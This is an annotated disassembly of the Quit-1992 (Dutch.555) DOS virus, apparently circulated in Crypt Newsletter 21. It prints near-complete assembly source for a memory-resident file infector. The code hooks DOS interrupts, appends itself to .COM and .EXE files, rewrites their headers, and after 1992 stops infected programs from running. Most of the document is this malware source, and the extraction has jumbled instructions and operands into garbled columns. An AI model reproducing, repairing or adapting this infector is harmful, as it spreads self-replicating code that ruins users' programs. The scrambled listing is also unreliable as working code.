;***************************************************************************** ; ; quit-1992.asm (dutch.555) ;
disassembly by k?hntark
;
date:
24-nov-93
; assemble with: tasm-2.x ; ;***************************************************************************** ; quit1992.555 virus disassembly, for crypt newsletter 21: ; the quit virus is a straightforward .com/.exe program memory resident ; file infector. it is extremely infectious and features an ; inventive "are you resident in memory" check using int 21h's dos ; version call. when quit becomes resident for the first time, ; it sets up its int 21 handler so any subsequent dos version check ; is also filtered through the virus's int 24h critical error handler. ; in standard practice, the virus's critical error handler returns ; a "0" in al, which serves to signal the operating system to ignore ; the virus's request to write to an executable program being loaded from ; a write-protected disk, and proceed with the loading of the protected ; program. when a previously quit-infected program attempts to launch ; the virus into memory while a copy of the virus is already installed, ; quit performs a dos version check, and looks at the value returned ; in al, which will be "0" if the virus has already installed itself ; and hooked its critical error handler to the dos version check. in ; this case, the virus exits. ; ; quit also performs a date/time check - if it is anytime after 1992, ; the virus terminates without allowing its host to execute. [hence ; the name quit - all virus infected programs "quit" after 1992.] ; obviously, quit is extremely noticeable. it will however, become ; resident from any infected program and subsequently infect everything ; which is executed while not allowing these programs to run. of ; course, these programs are - for all practical purposes - ruined ; immediately & turned into quit zombies - unless the time on the ; machine is reset to some value before the end of 1992 and kept there. ; the overly anal will note that even if the system time is reset ; properly, programs are still ruined by quit because no one would actually ; want this thing attached to their executables. ;***************************************************************************** virus_size int_21h int_21h_seg int_24h_off int_24h_seg file_time file_date file_attrib
equ equ equ equ equ equ equ equ
offset endvirus - offset data 5 7 9 0bh 0dh 0fh 11h
file_buffer remainder file_size header_size max_num_par
equ equ equ equ equ
12h 14h 16h 1ah 1eh
;exe header / com ;remainder ;size of file in 512 byte pages ;size of header ;maximum # of paragraphs required after loaded
program stack_seg stack_pointer inst_ptr code_seg exe_id
equ equ equ equ equ
20h 22h 26h 28h 2dh
;stack segment offset ;stack pointer ;instruction pointer ;offset of code segment ;exe infection id
(ss) (sp) (ip) (cs) in paragraphs
;***************************************************************************** virus
host:
segment byte public assume cs:virus, ds:virus org
100h
;com host
jmp db db int
vir_start 0f1h 994 dup (90h) 20h
;infection id ;rest of host file ;exit to dos
;=-=-=-=-=-=-=-=[host ends here - virus begins here]-=-=-=-=-=-=-=-=-=-=-=-=data: db db db ;file_buffer db db vir_start: get_addr:
5ah, 08h, 00h, 22h, 00h, 60h 14h, 73h, 02h, 56h, 05h, 89h 0ch, 5dh, 60h, 78h, 1bh, 00h 90h, 90h, 90h 25 dup (90h)
;3 starting bytes from com file ;28 bytes total
call
get_addr
pop db mov int
bp 83h,0edh, 31h ax,30f1h 21h
;bp = entry point ;sub bp,31h => 49 bytes of data area ;ah=function 30h ;get dos version number/virus resident?
mov cmp jb
bx,ds al,2 ciao
;bx = ds ;dos 2.0 or below? ;exit if dos < 2.0 or virus resident
;************************* ; allocate memory ;************************* dec mov inc push
bx ds,bx bx bx
;bx = ;ds = ;bx = ;save
mov mov mov mov sub sub
al,ds:0000 [bp],al byte ptr ds:0000,'m' cx,23h ds:0012h,cx ds:0003,cx
ds - 1/get mcb of current program ds - 1 = mcb of current program ds ds
;23h * 16 = 560 bytes ;decrease size by 560 bytes ;decrease size by 560 bytes
mov db
ax,ds:0003 01h,0d8h
; ;add
ax,bx
;************************* ; move virus to memory ;************************* mov push pop mov xor mov rep
es,ax cs ds si,bp di,di cx,virus_size movsb
;ax = es destination segment ;ds = cs ;source ds:si (cs:bp) ;destination es:di (ax:00) ;cx = 555 bytes ;mov ds:[si] to es:[di]
;************************* ; hook int 21h ;************************* mov db mov mov call
ciao:
ds,ax 89h,0c1h ax,0c7h bl,84h hook_int
mov mov sti pop mov mov
;ds = es ;mov cx,ax, cx = new segment ;new int 21h offset ;int 21h address in int table ;hook interrupt at 0000:00bl ;new address = cx:0c7h ds:int_21h,ax ;save original int 21h offset ds:int_21h_seg,cx ;save original int 21h segment ;enable interrupts bx ;restore bx = ds ds,bx ;ds = original ds es,bx ;es = original ds
cmp jne
word ptr [bp+12h],5a4dh ;is host an exe file? exit_com ;exit com if not equal
;************************* ; fix for exe return ;************************* db mov mov add mov add push push jmp
83h,0c3h, 10h ;add bx,10h => add 10h to ds ax,bx ;ax = ds + 10h sp,[bp+22h] ;fix stack pointer sp ax,[bp+20h] ss,ax ;fix stack segment ss bx,cs:[bp+28h] bx ;push segment cs word ptr cs:[bp+26h] ;push offset ip short skip ;continue
;************************* ; exit com ;************************* exit_com:
push lea mov push
cs si,[bp+12h] di,100h di
;save cs ;load effective addr ;es:di => ds:0100 ;save address to do far return
movsw movsw
;mov [si] to es:[di] restore ;mov [si] to es:[di] 4 bytes to com file
;************************* ; get year ;************************* skip:
mov int cmp jb mov int
ah,2ah 21h
;dos services ah=function 2ah ;get date, cx=year, dh=month ;dl=day, al=day-of-week 0=sun cx,7c8h ;year = 1992? return_to_host ;return to host if year < 1992 ah,4ch ;ah=function 4ch => quit 21h ;terminate with al=return code
;************************* ; return to exe / com ;************************* return_to_host: xor xor mov mov retf
ax,ax bx,bx cx,0ffh dx,ds
;zero register ;zero register ;cx = 00ffh ;ds = dx ;return far to ds:0100h / ip:cs
;***************************************************************************** ; int 21h handler ;***************************************************************************** cmp je cmp jne
ax,4b00h execute ax,30f1h real_int21h
;execute a file? ;jump if equal ;"are you there?" call ;go to real int 21h
;------------------; int 24h handler ;------------------mov iret real_int21h: jmp
al,0
;"are you there?" answer ;interrupt return
dword ptr cs:int_21h
;jmp to original int 21h
outtahea:
execute:
pop pop jmp
ds dx see_ya
;restore filename pointer at ds:dx
push push push push push push
es ax bx cx dx ds
;save registers
;*************************************** ; hook int 24h (critical error handler) ;*************************************** mov mov mov call
ax,0d1h cx,cs bl,90h hook_int
;new int 24h offset ;new int 24h segment = cs ;int 24h ;hook int 24h (error handler) ;new address = cs:0d1h
mov mov sti mov
cs:int_24h_off,ax cs:int_24h_seg,cx cs:file_attrib,bh
;save original int 24h offset ;save original int 24h handler ;enable interrupts ;save int 24h int table address??
;************************* ; save file attributes ;************************* mov int test jz mov and
ax,4300h 21h cl,1 clear cs:file_attrib,cl cl,0feh
;dos services ah=function 43h ;get attrb cx, filename @ds:dx ; ;jump if zero ;save attributes ;clear attributes
;************************* ; clear file attributes ;************************* mov int jc
ax,4301h 21h outtahea
;dos services ah=function 43h ;set attrb cx, filename @ds:dx ;jump if carry set
clear: ;************************* ; open file ;************************* mov int mov
ax,3d02h 21h bx,ax
;dos services ah=function 3dh ;open file, al=mode,name@ds:dx ;file handle => ax
;*************************************************** ; read file ; note: time & date should be saved at this stage! ;*************************************************** push pop mov mov mov int
cs ds ah,3fh dx,file_buffer cx,1ch 21h
;*********************************
;save cs ;restore ds ;dos services ah=function 3fh ;buffer offset ;read 28 bytes ;read file, bx=file handle ;cx=bytes to ds:dx buffer
; save time and date. (too late!) ;********************************* call jz mov int
check_fo_infection restore_attributes ;jump if zero (zero = infected) ax,5700h ;dos services ah=function 57h 21h ;get file date+time, bx=handle ;returns cx=time, dx=time
mov mov
ds:file_time,cx ds:file_date,dx
;save time ;save date
;******************************* ; file prt @ eof ;******************************* mov xor xor int
ax,4202h cx,cx dx,dx 21h
;dos services ah=function 42h ;zero register ;zero register ;move file ptr, bx=file handle ;al=method, cx,dx=offset
;******************************* ; write virus ;*******************************
bytes
push push
dx ax
;save file size ;save file size
mov xor mov int
ah,40h dx,dx cx,virus_size 21h
cmp pop pop jnz
ax,cx ax dx restore_attributes
;dos services ah=function 40h ;write from ds:0000 ;cx = 555 bytes = quit code ;write file bx=file handle ;cx=bytes from ds:dx buffer ;555 bytes written? ;restore file size ;restore file size ;restore attribs if didn't write 555
;******************************* ; file prt @ beginning of file ;******************************* call mov xor xor int
fix_header ax,4200h cx,cx dx,dx 21h
;dos services ah=function 42h ;zero register ;zero register ;move file ptr, bx=file handle ;al=method, cx,dx=offset
;******************************* ; write new jump / header ;******************************* mov
ah,40h
;dos services
ah=function 40h
mov mov int
dx,file_buffer cx,1ch 21h
;write 28 bytes ;write file bx=file handle ;cx=bytes from ds:dx buffer
;******************************* ; restore date & time (duh!) ;******************************* mov mov mov int
ax,5701h cx,ds:file_time dx,ds:file_date 21h
;************************* ; restore file attributes ;*************************
;dos services ah=function 57h ;get time => cx ;get date => dx ;set file date+time, bx=handle ;cx=time, dx=time
restore_attributes: pop pop mov and jz mov int
ds dx cl,cs:file_attrib cx,0ffh close_file ax,4301h 21h
;get filename pointer from stack ;get filename pointer from stack ;get saved attributes ;restore attributes ;jump if zero ;set attrb cx, filename @ds:dx
;************************* ; close file handler ;************************* close_file: mov int
ah,3eh 21h
;dos services ah=function 3eh ;close file, bx=file handle
;******************************************* ; restore int 24h (critical error handler) ;******************************************* see_ya:
mov mov mov call sti
ax,cs:int_24h_off cx,cs:int_24h_seg bl,90h restore_int
;restore original int 24h offset ;restore original int 24h segment ;int 24h
pop pop pop pop jmp
cx ;restore registers bx ax es dword ptr cs:int_21h ;jump to original int 21h
;enable interrupts
;***************************************************************************** ; routine - check for possible file infection ;*****************************************************************************
check_fo_infection: cmp je cmp
word ptr ds:file_buffer,5a4dh check_exe byte ptr ds:remainder+1,0f1h
;exe file? ;check exe ;com infected?
go_back: check_exe:
retn cmp je cmp retn
byte ptr ds:exe_id,0f1h go_back word ptr ds:max_num_par,0
;exe infected? ;jump if equal ;high memory allocation?
;***************************************************************************** ; routine - fix new com start / exe header ;***************************************************************************** fix_header: cmp je
word ptr ds:file_buffer,5a4dh do_exe
;exe file? ;jump if equal
;************************** ; fix new com file entry ;**************************
area)
mov mov add
byte ptr ds:file_buffer,0e9h byte ptr ds:remainder+1,0f1h ax,2bh
;insert new jump ;insert infection id ;add 43 to filesize (skip data
mov retn
word ptr ds:file_buffer+1,ax
;insert new jump address ;return
add db mov mov shr rcl mov mov shr rcl xchg sub xchg inc dec mov shl sub mov mov mov mov mov
ax,42bh 88h,0d6h dl,ah ah,0 dx,1 ah,1 ds:remainder,ax ds:file_size,dx ah,1 dx,1 dl,ah ax,3fdh dl,ah ah dx cl,4 dx,cl dx,ds:header_size ds:stack_seg,dx ds:code_seg,dx ds:inst_ptr,ax ah,5 ds:stack_pointer,ax
do_exe: ;mov
dh,dl
; shift w/zeros fill ; rotate thru carry ;insert load module's remainder ;new load module size ; shift w/zeros fill ; rotate thru carry
;multiply dx by 16 ;get header size ;new ss ;new cs ;new ip ;ax = new sp ;new sp
mov retn
byte ptr ds:exe_id,0f1h
;insert infection id ;return
;***************************************************************************** ; routine - hook interrupt ; ; input: ; hook interrupt at int table address: 0000:00 bl ; new int address = cx:ax ; ; output: ; old int address = cx:ax ;***************************************************************************** hook_int:
push xor mov pop
cx cx,cx es,cx cx
;save cx ;zero register ;es = 0 ;restore cx
;=-=-[external entry point]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=restore_int: mov cli xchg xchg retn
bh,0 es:[bx],ax es:[bx+2],cx
;bh = 0 ;disable interrupts ;ax <=> es:[00bl] ;ax <=> es:[00bl + 2] ;return
;***************************************************************************** endvirus: ;last byte of virus virus end
ends host